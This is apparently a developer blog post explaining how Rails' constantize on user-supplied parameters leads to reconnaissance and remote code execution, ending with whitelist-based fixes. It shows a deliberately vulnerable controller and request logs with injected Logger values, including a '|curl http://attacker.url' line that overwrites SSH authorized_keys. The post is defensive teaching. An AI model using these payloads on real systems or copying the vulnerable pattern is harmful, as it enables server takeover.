This post examines what the safest way to constantize is: which is NEVER. That’s right. If you have the constantize method anywhere within your Rails codebase you are asking for trouble!

This post looks at the most common usage of constantize , how constantize can be exploited, and a safe alternative to using it.

Common Constantize Usage

The most common pattern that I’ve seen across many codebases is a form that manages multiple selections (like the one above). Within that form’s controller code constantize is called on a param controlled by the user. Here’s an example:

1 2 3 4 5 6 7 8 9 class AlertsController < ApplicationController def create params [ :alert ][ :type ]. constantize . new ( params [ :alert ][ :value ] ) # <-- bad code don't do this! # ... other work # render page end end

Running brakeman over this code it is going to report a constantize RCE vulnerability like this:

1 2 3 4 5 6 7 8 9 10 11 12 +--------------+-----------------------------------------------------------------------------+ | Confidence | High | +--------------+-----------------------------------------------------------------------------+ | Class | AlertsController | +--------------+-----------------------------------------------------------------------------+ | Method | create | +--------------+-----------------------------------------------------------------------------+ | Warning Type | Remote Code Execution | +--------------+-----------------------------------------------------------------------------+ | Message | Unsafe reflection method constantize called with parameter value near | | | line 7 : + params [ :alert ][ :type ]. constantize . new ( params [ :alert ][ :value ] ) >> | +--------------+-----------------------------------------------------------------------------+

What confused me when I first encounter this error was the Remote Code Execution warning type. Looking at that code, I found it hard to figure out how an attacker could trigger an exploit.

Pivoting Constantize into an Exploit

Let’s look at how an attacker can turn this into an exploit. There are a couple types of exploits that an attacker could trigger:

Reconnaissance Application Server

Command Injection (RCE)

The worst item in this list is Command Injection/RCE. In the event that a controller is filtering input and an RCE payload cannot be sent, Application and Server Reconnaissance may still be useful.

The exploits below are adapted and update from Gabriel Quadros’ original work on the subject.

Reconnaissance (Application)

The first type of exploit is performing class enumeration to investigate what classes exist within an application.

Below is an example of an unsuccessful class discovery because the server returns a 500 error. The attacker knows that a SocialInsuranceNumber class does not exist.

1 2 3 4 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "SocialInsuranceNumber" , "value" => "" }} # <-- payload Completed 500 Internal Server Error in 1 ms ( ActiveRecord : 0 . 0 ms ) # <-- failed

However in this next example, since the server returns a 200 success message, the attacker knows that a CreditCard class exists.

1 2 3 4 5 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "CreditCard" , "value" => "" }} # <-- payload Rendered text template ( 0 . 0 ms ) Completed 200 OK in 8 ms ( Views : 0 . 5 ms | ActiveRecord : 1 . 9 ms ) # <-- success

Obviously this technique is tedious by hand (less so with a script), and it would take a fair amount of time to enumerate an entire application. This type of exploit provides interesting visibility into the application’s data like Payments, Invoices, Social Insurance Numbers, Credit Cards, etc. and information about 3rd party code used within the app: Devise, Nokogiri, Puma, Stripe, etc. All this information helps an attacker evaluate what attack surfaces exist and whether the application is worth spending time hacking.

Reconnaissance (Server)

The second type of exploit, similar to application reconnaissance is server recon. This method uses a similar tactic by using the File class from the Ruby standard library and passing a filename. If the server returns a 500 error you know the file doesn’t exist:

1 2 3 4 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "File" , "value" => "floop-de-doop" }} # <-- does floop-de-doop exist? Completed 500 Internal Server Error in 1 ms ( ActiveRecord : 0 . 0 ms ) # <-- nope

And if you get a 200 you know the file exists:

1 2 3 4 5 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "File" , "value" => "/etc/passwd" }} # <-- does /etc/passwd exist? Rendered text template ( 0 . 0 ms ) Completed 200 OK in 1 ms ( Views : 0 . 4 ms | ActiveRecord : 0 . 0 ms ) # <-- success

This type of technique enables an attacker to determine information like what OS your app is running on, what type of database you’re using, or what other services are running on your machine. Again this creates a broader picture of the attack surface available against your app.

Command Injection

And the worst exploit for last: Getting an RCE. It’s actually easy to trigger an RCE in Rails using the Logger class. Here’s an example of getting the server to print the current date to console:

1 2 3 4 5 6 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "Logger" , "value" => "|date" }} # <-- Injected params Rendered text template ( 0 . 0 ms ) Completed 200 OK in 3 ms ( Views : 0 . 7 ms | ActiveRecord : 0 . 0 ms ) Sun 25 Sep 2016 21 : 35 : 23 MDT # <-- Ooops!

Date isn’t a “bad” command to have run on your server, but what about other parameters that you could inject:

1 2 3 4 5 6 7 8 9 10 Started POST "/alerts" Processing by AlertsController #create as HTML Parameters : { "alert" => { "type" => "Logger" , "value" => "|curl http://attacker.url -o ~/.ssh/authorized_keys" }} # <-- Injected params Rendered text template ( 0 . 0 ms ) Completed 200 OK in 6 ms ( Views : 0 . 6 ms | ActiveRecord : 0 . 0 ms ) % Total % Received % Xferd Average Speed Time Time Time Current # <-- Ouch! Dload Upload Total Spent Left Speed 100 258 100 258 0 0 1280 0 -- :- - :- - -- :- - :- - -- :- - :- - 1283

Seeing curl writing progress to your Rails logs with the string ~/.ssh/authorized_keys is not going to make for a good day. An attacker has now gained access to your box via your web server account. Hopefully it’s not running as root goberserk

Safe Alternatives

Having looked at what a constantize vulnerability is and having clearly demonstrated how that vulnerability can be exploited, it’s time to fix that code.

Usually there’s a good reason to have a dynamic form that will use user input to decide on what class to create. The simplest pattern that I’ve used and seen is to use the parameter string and do an array lookup. Here’s an example:

1 2 3 4 5 6 7 8 9 10 11 12 13 class AlertsController < ApplicationController def create constant = [ InfoAlert , WarnAlert , ErrorAlert ]. find do | alert | alert . name == params [ :alert ][ :type ] end raise "Bad hacker!" if constant . nil? # Fail hard on malicious input constant . new ( params [ :alert ][ :value ] ) # ... other work # render page end end

The benefit of the above code is that you’re no longer relying on user input to correctly define the type being instantiated. Instead you define the available types and assert that the user input conforms to those choices, or fail hard!

This method is the safest because it never even uses constantize and instead relies on whitelisting safe input.

I’ve written about whitelisting before when dealing with user input as it relates to filename sanitization. It is the preferred technique for writing secure code, albeit more restrictive which is limiting.

Update Sept 28, 2016:

After this post made it’s way among a few sites, Paul Kwiatkowski suggested an alternative pattern to safely avoid constantize which I liked. Here’s his example code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Some file where a constant definition is appropriate. ALERTS = { 'info' => InfoAlert , 'warn' => WarnAlert , 'error' => ErrorAlert } class AlertsController < ApplicationController def create ALERTS . fetch ( params [ :alert ][ :type ] )) . new ( params [ :alert ][ :value ] )) # ... other work # render page end end

Paul mentions that this method is beneficial because the exception handling is done automatically when a lookup fails on fetch since it raises a KeyError . The other benefit that I saw in his pattern, is that it scales well when the number of options grows large.

Many thanks to Paul and a few others that commented on this post. I truly enjoy receiving feedback from others on how I can improve my code!